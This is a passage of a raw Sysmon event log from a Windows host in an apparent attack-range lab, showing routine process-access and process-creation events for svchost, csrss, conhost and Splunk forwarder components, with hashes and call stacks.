Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=01601F3499F4F63AC9F5C649913B54BA,SHA256=4A71B0B2BBB2DD85BF36CCC3716D4F74B5129B1BA63A5C49E4C24AA9B1510C69,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018673Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.507{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-75A3-613B-5205-00000000F101}3908C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018672Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.504{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018671Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.504{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018670Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.504{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018669Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.504{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018668Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.504{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018667Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.504{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018666Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.504{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018665Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.504{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018664Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.503{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018663Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.503{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-75A3-613B-5205-00000000F101}3908C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018662Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.503{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-75A3-613B-5205-00000000F101}3908C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018661Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.503{625C326B-75A3-613B-5205-00000000F101}3908C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018660Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:31.475{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-056MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018705Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-75A4-613B-5405-00000000F101}984C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018704Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018703Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018702Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018701Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018700Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018699Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018698Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018697Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018696Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018695Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-75A4-613B-5405-00000000F101}984C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018694Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.683{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-75A4-613B-5405-00000000F101}984C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018693Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:32.685{625C326B-75A4-613B-5405-00000000F101}984C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program 